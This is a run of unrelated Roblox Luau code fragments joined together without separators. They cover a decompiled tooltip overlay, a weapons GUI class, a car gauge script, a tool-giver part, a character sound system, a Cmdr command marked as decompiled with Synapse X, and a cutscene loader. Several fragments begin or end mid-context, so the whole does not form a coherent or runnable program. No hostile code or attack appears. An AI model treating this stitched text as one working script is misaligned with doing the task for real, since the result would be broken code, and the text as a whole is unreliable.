local u1 = nil; coroutine.wrap(function() u1 = require(game.ReplicatedStorage:WaitForChild("Resources")); end)(); local v1 = {}; local l__InfoOverlay__2 = u1.Assets.UI:WaitForChild("InfoOverlay"); local u2 = nil; local l__Blocks__3 = l__InfoOverlay__2:WaitForChild("Blocks"); local u4 = {}; local u5 = nil; local u6 = u1.PlayerModule.Get("Mouse"); local u7 = game:GetService("GuiService"):GetGuiInset(); local u8 = {}; function v1.Add(p1, ...) if u2 then v1.Remove(); end; local v3 = l__InfoOverlay__2:FindFirstChild("Base"):Clone(); local v4 = 0; for v5, v6 in ipairs({ ... }) do local v8 = v6[1]; local v9 = l__Blocks__3:FindFirstChild(v8):Clone(); local l__settings__10 = v9:FindFirstChild("settings"); if l__settings__10 and l__settings__10:FindFirstChild("code") then coroutine.wrap(function() (u4[v8] or require(l__settings__10:FindFirstChild("code")))(v9, unpack(v6)); end)(); end; v9.LayoutOrder = v5 * 100; if l__settings__10 then local v11 = l__settings__10:GetAttribute("boundsX"); local l__Y__12 = v11.Y; local v13 = 0; local v14 = 0; local v15 = 0; for v16, v17 in ipairs(v9:GetChildren()) do if v17:IsA("GuiObject") and v17.Visible then if v17.ClassName == "TextLabel" or v17.ClassName == "TextButton" then if v17.Size.X.Scale ~= 0 then local v19 = u1.TextService:GetTextSize(string.gsub(v17.Text, "<.->", function() return ""; end), v17.TextSize, v17.Font, (Vector2.new(l__Y__12 * v17.Size.X.Scale, 1000))) + Vector2.new(4, 1); v13 = math.max(v19.X, v13); v14 = v14 + math.max(v19.Y, v9.AbsoluteSize.Y); v17.Size = UDim2.new(0, v19.X, 0, v19.Y); end; elseif v17.Size.X.Scale ~= 0 then v15 = v15 + v17.AbsoluteSize.Y; end; end; end; local v20 = v9:FindFirstChildOfClass("UIListLayout"); if v20 and v20.FillDirection == Enum.FillDirection.Horizontal then v13 = math.max(v20.AbsoluteContentSize.X, v13); end; v9.Size = UDim2.new(1, 0, 0, v14 + v15); v4 = math.max(math.clamp(v13, v11.X, l__Y__12), v4); end; v9.Parent = v3.Frame.Blocks; end; local v21 = v3.Frame.Blocks:FindFirstChildOfClass("UIPadding"); local v22 = v3.Frame.Blocks:FindFirstChildOfClass("UIListLayout"); v22:ApplyLayout(); v3.Size = UDim2.new(0, v4 + v21.PaddingLeft.Offset + v21.PaddingRight.Offset, 0, v22.AbsoluteContentSize.Y + v21.PaddingTop.Offset + v21.PaddingBottom.Offset); v3.UIScale.Scale = 1 - (1 - math.min(u1.Functions.ResolutionScale(), 1)) / 1.5; if not u5 then u5 = Instance.new("ScreenGui"); u5.DisplayOrder = 100; u5.ZIndexBehavior = Enum.ZIndexBehavior.Global; u5.ResetOnSpawn = false; u5.Name = "InfoOverlay"; u5.Parent = u1.PlayerModule.Get("PlayerGui"); end; v3.Parent = u5; u2 = v3; u1.GUI.ToggleCursor(false); local v23 = nil; for v24, v25 in ipairs({ ... }) do if v25[1] == "Rarity" and v25[2] then v23 = v25[2]; break; end; end; if v23 == "Mythical" or v23 == "Exclusive" then local v27 = v3.Frame:FindFirstChildOfClass("UIStroke"); v27.Color = Color3.new(1, 1, 1); local v28 = u1.Assets.UI.Raritys:FindFirstChild(v23):Clone(); v28.Parent = v27; if v23 == "Mythical" then v3.pointer.pointer.ImageColor3 = Color3.fromRGB(255, 85, 255); elseif v23 == "Exclusive" then v3.pointer.pointer.ImageColor3 = Color3.fromRGB(255, 170, 255); end; if v23 == "Mythical" then task.defer(function() local v29 = true; while v3 and v3.Parent do local v30 = v29 and Color3.fromRGB(255, 245, 230) or Color3.new(1, 1, 1); u1.Functions.Tween(v3.pointer, { 1.25, 1, 2 }, { ImageColor3 = v30 }); u1.Functions.Tween(v3.Frame, { 1.25, 1, 2 }, { BackgroundColor3 = v30 }).Completed:Wait(); v29 = not v29; end; end); end; task.defer(function() while v3 and v3.Parent do v28.Rotation = os.clock() * 250; u1.RenderStepped(); end; end); end; local u9 = "Down"; task.defer(function() while v3 and v3.Parent do local v31 = u6.X; local v32 = u6.Y; local l__X__33 = v3.AbsoluteSize.X; local l__Y__34 = v3.AbsoluteSize.Y; local v35 = game.Workspace.CurrentCamera.ViewportSize.Y - u7.Y; if u1.Variables.Console then v31 = p1.AbsolutePosition.X + p1.AbsoluteSize.X * 0.5; v32 = p1.AbsolutePosition.Y + p1.AbsoluteSize.Y * 0.5; end; if v32 + l__Y__34 + 30 < v35 then u9 = "Down"; elseif v32 - l__Y__34 - 30 > 0 then u9 = "Up"; end; local v36 if u9 == "Down" then v36 = 30; else v36 = -30; end; local v37 if u9 == "Down" then v37 = 0; else v37 = 1; end; v3.AnchorPoint = Vector2.new(0, v37); local v38 v3.Position = UDim2.new(0, math.clamp(v31 + 30, 0, game.Workspace.CurrentCamera.ViewportSize.X - u7.X + (-l__X__33 and l__X__33)), 0, (math.clamp(v32 + v36, 0, v35 + (u9 == "Down" and -l__Y__34 or l__Y__34)))); if u9 == "Down" then v38 = 1; else v38 = 0; end; v3.pointer.AnchorPoint = Vector2.new(1, v38); local v39 if u9 == "Down" then v39 = 0; else v39 = 1; end; local v40 if u9 == "Down" then v40 = 30; else v40 = -30; end; v3.pointer.Position = UDim2.new(0, 30, v39, v40); if u9 == "Down" then v3.pointer.Rotation = 0; elseif u9 == "Up" then v3.pointer.Rotation = -90; else v3.pointer.Rotation = -180; end; u1.RenderStepped(); end; end); task.defer(function() while v3 and v3.Parent do local l__X__41 = u6.X; local l__Y__42 = u6.Y; local l__X__43 = p1.AbsolutePosition.X; local l__Y__44 = p1.AbsolutePosition.Y; if not u1.Variables.Console then if l__X__43 + p1.AbsoluteSize.X < l__X__41 or l__X__41 < l__X__43 or l__Y__44 + p1.AbsoluteSize.Y < l__Y__42 or l__Y__42 < l__Y__44 then v1.Remove(); end; elseif u1.GuiService.SelectedObject ~= p1 then v1.Remove(); end; u1.RenderStepped(); end; end); if u1.Variables.Mobile then local u10 = nil; local u11 = tick(); u10 = p1.MouseButton1Up:Connect(function() u10:Disconnect(); if tick() - u11 < 0.5 then v1.Remove(); end; end); u8[#u8 + 1] = u10; end; end; function v1.Remove() if u2 then for v45, v46 in ipairs(u8) do v46:Disconnect(); end; u8 = {}; u2:Destroy(); u1.GUI.ToggleCursor(true); u2 = nil; end; end; return v1;
-- << ASSET PERMISSIONS >> (e.g. Gamepasses, Shirts, Models etc)
local Asset_Permissions = false -- Set to 'true' to use
-- Each note takes up exactly 8 seconds in audio. i.e C2 lasts 8 secs, C2# lasts 8 secs, C3 lasts 8 secs, C3# lasts 8 secs etc. for each audio -- These are the IDs of the piano sounds.
settings.SoundSource = Box settings.CameraCFrame = CFrame.new( (Box.CFrame * CFrame.new(0, 5, 3)).p, -- +z is towards player (Box.CFrame * CFrame.new(0, 1, 1)).p )
-- This scales the scale amount non-linearly according to scaleWeight
function WeaponsGui:getWeightedScaleAmount(originalScaleAmount, newScreenDim, referenceScreenDim) return (1 - self.scaleWeight) * originalScaleAmount * referenceScreenDim / newScreenDim + self.scaleWeight * originalScaleAmount end function WeaponsGui:updateScale(guiObject, viewportSize) if guiObject:IsA("GuiObject") then local xScale = guiObject.Size.X.Scale local yScale = guiObject.Size.Y.Scale if xScale ~= 0 or yScale ~= 0 or self.originalScaleAmounts[guiObject] ~= nil then if self.originalScaleAmounts[guiObject] == nil then self.originalScaleAmounts[guiObject] = Vector2.new(xScale, yScale) end xScale = self:getWeightedScaleAmount(self.originalScaleAmounts[guiObject].X, viewportSize.X, self.referenceViewportSize.X) yScale = self:getWeightedScaleAmount(self.originalScaleAmounts[guiObject].Y, viewportSize.Y, self.referenceViewportSize.Y) guiObject.Size = UDim2.new(xScale, 0, yScale, 0) end return -- makes it so only the most outer container will be scaled end for _, child in ipairs(guiObject:GetChildren()) do self:updateScale(child, viewportSize) end end function WeaponsGui:setEnabled(enabled) if self.enabled == enabled then return end self.enabled = enabled if self.enabled then self.connections.renderStepped = RunService.RenderStepped:Connect(function(dt) self:onRenderStepped(dt) end) else self:setZoomed(false) for _, v in pairs(self.connections) do v:Disconnect() end self.connections = {} end if self.gui then self.gui.Enabled = self.enabled end end function WeaponsGui:setCrosshairEnabled(crosshairEnabled) if self.crosshairEnabled == crosshairEnabled then return end self.crosshairEnabled = crosshairEnabled if self.crosshairFrame then self.crosshairFrame.Visible = self.crosshairEnabled end if self.hitMarker then self.hitMarker.ImageTransparency = 1 self.hitMarker.Visible = self.crosshairEnabled end end function WeaponsGui:setScopeEnabled(scopeEnabled) if self.scopeEnabled == scopeEnabled then return end self.scopeEnabled = scopeEnabled if self.scopeFrame then self.scopeFrame.Visible = self.scopeEnabled end local jumpButton = getJumpButton() if self.scopeEnabled then self.smallFireButton.Visible = true self.largeFireButton.Visible = true if jumpButton then jumpButton.Visible = false end else self.smallFireButton.Visible = false self.largeFireButton.Visible = false if jumpButton then jumpButton.Visible = true end end end function WeaponsGui:setCrosshairWeaponScale(scale) if self.crosshairWeaponScale == scale then return end self.crosshairWeaponScale = scale end function WeaponsGui:setCrosshairScaleTarget(target, dampingRatio, frequency) if typeof(dampingRatio) == "number" then self.crosshairDampingRatio = dampingRatio end if typeof(frequency) == "number" then self.crosshairFrequency = frequency end if self.crosshairScaleTarget == target then return end self.crosshairScaleTarget = target SpringService:Target(self, self.crosshairDampingRatio, self.crosshairFrequency, { crosshairScale = self.crosshairScaleTarget }) end function WeaponsGui:setCrosshairScale(scale) if self.crosshairScale == scale then return end self.crosshairScale = scale SpringService:Target(self, self.crosshairDampingRatio, self.crosshairFrequency, { crosshairScale = self.crosshairScaleTarget }) end function WeaponsGui:OnHitOtherPlayer(damage, humanoidHit) -- show hit indicator, then fade self.hitMarker.ImageTransparency = 0 local tweenInfo = TweenInfo.new(0.8) local goal = {} goal.ImageTransparency = 1 local tween = TweenService:Create(self.hitMarker, tweenInfo, goal) tween:Play() DamageBillboardHandler:ShowDamageBillboard(damage, humanoidHit.Parent:FindFirstChild("Head")) end function WeaponsGui:onRenderStepped(dt) if not self.enabled then return end if not self.gui then return end if self.crosshairFrame and self.crosshairEnabled then local crosshairSize = self.crosshairNormalSize * self.crosshairScale * self.crosshairWeaponScale self.crosshairFrame.Size = UDim2.new(0, crosshairSize.X, 0, crosshairSize.Y) end end function WeaponsGui:setZoomed(zoomed) if zoomed == self.isZoomed then return end self.isZoomed = zoomed local normalImage = self.isZoomed and AIM_OFF_NORMAL or AIM_ON_NORMAL local pressedImage = self.isZoomed and AIM_OFF_PRESSED or AIM_ON_PRESSED if self.smallAimButton then self.smallAimButton.Image = normalImage self.smallAimButton.PressedImage = pressedImage end if self.largeAimButton then self.largeAimButton.Image = normalImage self.largeAimButton.PressedImage = pressedImage end if self.weaponsSystem.camera then self.weaponsSystem.camera:setForceZoomed(self.isZoomed) end end function WeaponsGui:onTouchAimButtonActivated() self:setZoomed(not self.isZoomed) end function WeaponsGui:onTouchFireButton(inputObj, inputState) local currentWeapon = self.weaponsSystem.currentWeapon if currentWeapon and currentWeapon.instance and currentWeapon.instance:IsA("Tool") then if inputObj.UserInputState == Enum.UserInputState.Begin then currentWeapon.instance:Activate() if self.smallFireButton then self.smallFireButton.Image = FIRE_PRESSED end if self.largeFireButton then self.largeFireButton.Image = FIRE_PRESSED end inputObj:GetPropertyChangedSignal("UserInputState"):Connect(function() if inputObj.UserInputState == Enum.UserInputState.End then currentWeapon.instance:Deactivate() if self.smallFireButton then self.smallFireButton.Image = FIRE_NORMAL end if self.largeFireButton then self.largeFireButton.Image = FIRE_NORMAL end end end) end end end return WeaponsGui
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end for i=0,revEnd*2 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 175 / 7000 end) script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "N" car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "N" elseif gearText == -1 then gearText = "R" car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "R" car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "R" end script.Parent.Gear.Text = gearText car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = gearText car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = gearText end) script.Parent.Parent.Values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.TCS.Visible = false end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end else if script.Parent.TCS.Visible then script.Parent.TCS.Visible = false end end end) script.Parent.Parent.Values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABS.Value then script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.ABSActive.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = true script.Parent.ABS.TextColor3 = Color3.new(1,0,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.ABS.Visible = false end end) script.Parent.Parent.Values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = false end end) script.Parent.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true end else if script.Parent.ABS.Visible then script.Parent.ABS.Visible = false end end end) script.Parent.Parent.Values.PBrake.Changed:connect(function() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end) script.Parent.Parent.Values.TransmissionMode.Changed:connect(function() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units inspd.Rotation = -30 + (240 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88)))) end) script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) mouse.KeyDown:connect(function(key) if key=="v" then script.Parent.Visible=not script.Parent.Visible end end)
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.ShrinkPotion-- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
-- ROBLOX deviation END
local typesModule = require(Packages.JestTypes) type Global_ArrayTable = typesModule.Global_ArrayTable type Global_Col = typesModule.Global_Col type Global_Row = typesModule.Global_Row type Global_Table = typesModule.Global_Table local pretty = require(Packages.PrettyFormat).format
-- map a value from one range to another
local function map(x: number, inMin: number, inMax: number, outMin: number, outMax: number): number return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin end local function playSound(sound: Sound) sound.TimePosition = 0 sound.Playing = true end local function shallowCopy(t) local out = {} for k, v in pairs(t) do out[k] = v end return out end local function initializeSoundSystem(instances) local player = instances.player local humanoid = instances.humanoid local rootPart = instances.rootPart local sounds: {[string]: Sound} = {} -- initialize sounds for name: string, props: {[string]: any} in pairs(SOUND_DATA) do local sound: Sound = Instance.new("Sound") sound.Name = name -- set default values sound.Archivable = false sound.RollOffMinDistance = 5 sound.RollOffMaxDistance = 150 sound.Volume = 0.65 for propName, propValue: any in pairs(props) do (sound :: any)[propName] = propValue end sound.Parent = rootPart sounds[name] = sound end local playingLoopedSounds: {[Sound]: boolean?} = {} local function stopPlayingLoopedSounds(except: Sound?) for sound in pairs(shallowCopy(playingLoopedSounds)) do if sound ~= except then sound.Playing = false playingLoopedSounds[sound] = nil end end end -- state transition callbacks. local stateTransitions: {[Enum.HumanoidStateType]: () -> ()} = { [Enum.HumanoidStateType.FallingDown] = function() stopPlayingLoopedSounds() end, [Enum.HumanoidStateType.GettingUp] = function() stopPlayingLoopedSounds() playSound(sounds.GettingUp) end, [Enum.HumanoidStateType.Jumping] = function() stopPlayingLoopedSounds() playSound(sounds.Jumping) end, [Enum.HumanoidStateType.Swimming] = function() local verticalSpeed = math.abs(rootPart.AssemblyLinearVelocity.Y) if verticalSpeed > 0.1 then sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1) playSound(sounds.Splash) end stopPlayingLoopedSounds(sounds.Swimming) sounds.Swimming.Playing = true playingLoopedSounds[sounds.Swimming] = true end, [Enum.HumanoidStateType.Freefall] = function() sounds.FreeFalling.Volume = 0 stopPlayingLoopedSounds(sounds.FreeFalling) playingLoopedSounds[sounds.FreeFalling] = true end, [Enum.HumanoidStateType.Landed] = function() stopPlayingLoopedSounds() local verticalSpeed = math.abs(rootPart.AssemblyLinearVelocity.Y) if verticalSpeed > 75 then sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1) playSound(sounds.Landing) end end, --[[ [Enum.HumanoidStateType.Running] = function() stopPlayingLoopedSounds(sounds.Running) sounds.Running.Playing = true playingLoopedSounds[sounds.Running] = true end, ]] [Enum.HumanoidStateType.Climbing] = function() local sound = sounds.Climbing if math.abs(rootPart.AssemblyLinearVelocity.Y) > 0.1 then sound.Playing = true stopPlayingLoopedSounds(sound) else stopPlayingLoopedSounds() end playingLoopedSounds[sound] = true end, [Enum.HumanoidStateType.Seated] = function() stopPlayingLoopedSounds() end, --[[ [Enum.HumanoidStateType.Dead] = function() stopPlayingLoopedSounds() playSound(sounds.Died) end, ]] } -- updaters for looped sounds local loopedSoundUpdaters: {[Sound]: (number, Sound, Vector3) -> ()} = { [sounds.Climbing] = function(dt: number, sound: Sound, vel: Vector3) sound.Playing = vel.Magnitude > 0.1 end, [sounds.FreeFalling] = function(dt: number, sound: Sound, vel: Vector3): () if vel.Magnitude > 75 then sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1) else sound.Volume = 0 end end, [sounds.Running] = function(dt: number, sound: Sound, vel: Vector3) sound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5 end, } -- state substitutions to avoid duplicating entries in the state table local stateRemap: {[Enum.HumanoidStateType]: Enum.HumanoidStateType} = { [Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running, } local activeState: Enum.HumanoidStateType = stateRemap[humanoid:GetState()] or humanoid:GetState() local stateChangedConn = humanoid.StateChanged:Connect(function(_, state) state = stateRemap[state] or state if state ~= activeState then local transitionFunc: () -> () = stateTransitions[state] if transitionFunc then transitionFunc() end activeState = state end end) local steppedConn = RunService.Stepped:Connect(function(_, worldDt: number) -- update looped sounds on stepped for sound in pairs(playingLoopedSounds) do local updater: (number, Sound, Vector3) -> () = loopedSoundUpdaters[sound] if updater then updater(worldDt, sound, rootPart.AssemblyLinearVelocity) end end end) local function terminate() stateChangedConn:Disconnect() steppedConn:Disconnect() if FFlagUserAtomicCharacterSoundsUnparent then -- Unparent all sounds and empty sounds table -- This is needed in order to support the case where initializeSoundSystem might be called more than once for the same player, -- which might happen in case player character is unparented and parented back on server and reset-children mechanism is active. for name: string, sound: Sound in pairs(sounds) do sound:Destroy() end table.clear(sounds) end end return terminate end local binding = AtomicBinding.new({ humanoid = "Humanoid", rootPart = "HumanoidRootPart", }, initializeSoundSystem) local playerConnections = {} local function characterAdded(character) binding:bindRoot(character) end local function characterRemoving(character) binding:unbindRoot(character) end local function playerAdded(player: Player) local connections = playerConnections[player] if not connections then connections = {} playerConnections[player] = connections end if player.Character then characterAdded(player.Character) end table.insert(connections, player.CharacterAdded:Connect(characterAdded)) table.insert(connections, player.CharacterRemoving:Connect(characterRemoving)) end local function playerRemoving(player: Player) local connections = playerConnections[player] if connections then for _, conn in ipairs(connections) do conn:Disconnect() end playerConnections[player] = nil end if player.Character then characterRemoving(player.Character) end end for _, player in ipairs(Players:GetPlayers()) do task.spawn(playerAdded, player) end Players.PlayerAdded:Connect(playerAdded) Players.PlayerRemoving:Connect(playerRemoving)
-- grab local player
local localPlayer = Players.LocalPlayer
-- Decompiled with the Synapse X Luau decompiler.
return { Name = "alias", Aliases = {}, Description = "Creates a new, single command out of a command and given arguments.", Group = "DefaultUtil", Args = { { Type = "string", Name = "Alias name", Description = "The key or input type you'd like to bind the command to." }, { Type = "string", Name = "Command string", Description = "The command text you want to run. Separate multiple commands with \"&&\". Accept arguments with $1, $2, $3, etc." } }, ClientRun = function(p1, p2, p3) p1.Cmdr.Registry:RegisterCommandObject(p1.Cmdr.Util.MakeAliasCommand(p2, p3), true); return ("Created alias %q"):format(p2); end };
--playNstop
function module.playNstop(anim, hum, dur) local animation = hum.Animator:LoadAnimation( anim) animation:Play() task.delay(dur, function() animation:Stop() end) end
-- Local Functions
local function setupPlayerStats(player) local character = player.Character or player.CharacterAdded:wait() local humanoid = character:WaitForChild("Humanoid") local stats = Instance.new("Folder") stats.Name = "stats" stats.Parent = player local points = Instance.new("NumberValue") points.Name = GameSettings.pointsName points.Value = DataStore:GetCurrentPoints(player) points.Parent = stats local totalpoints = Instance.new("IntValue") totalpoints.Name = "Total" .. GameSettings.pointsName totalpoints.Value = DataStore:GetTotalPoints(player) totalpoints.Parent = stats local upgrade = Instance.new("IntValue") upgrade.Name = GameSettings.upgradeName upgrade.Value = DataStore:GetUpgrades(player) upgrade.Parent = stats end
-- Loading
local CutsceneFolder = workspace.Cutscenes:WaitForChild("run") -- The folder that contains the cutscene data (Cameras...) local Destroy = true -- Destroy folder after loading? you don't want your player to see your cameras floating around! local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once. local Cutscene = require(CutsceneModule) local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch") local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin") local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded") local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied") local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire") local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire") local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying") local CharacterProtector = script:FindFirstChild("CharacterProtector") local Music = script:FindFirstChild("Music") local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished") local StopOnEventFire = script:FindFirstChild("StopOnEventFire") local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire") local PlayOnce = script:FindFirstChild("PlayOnce") local Debounce = script:FindFirstChild("Cooldown") local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove") local bin = true local Player = game:GetService("Players").LocalPlayer local CutsceneGui = script:FindFirstChild("Cutscene")
-- ROBLOX scripter hackers, see what you can do with this: -- game:GetService("BadgeService"):UserHasBadge(userid, badgeid)
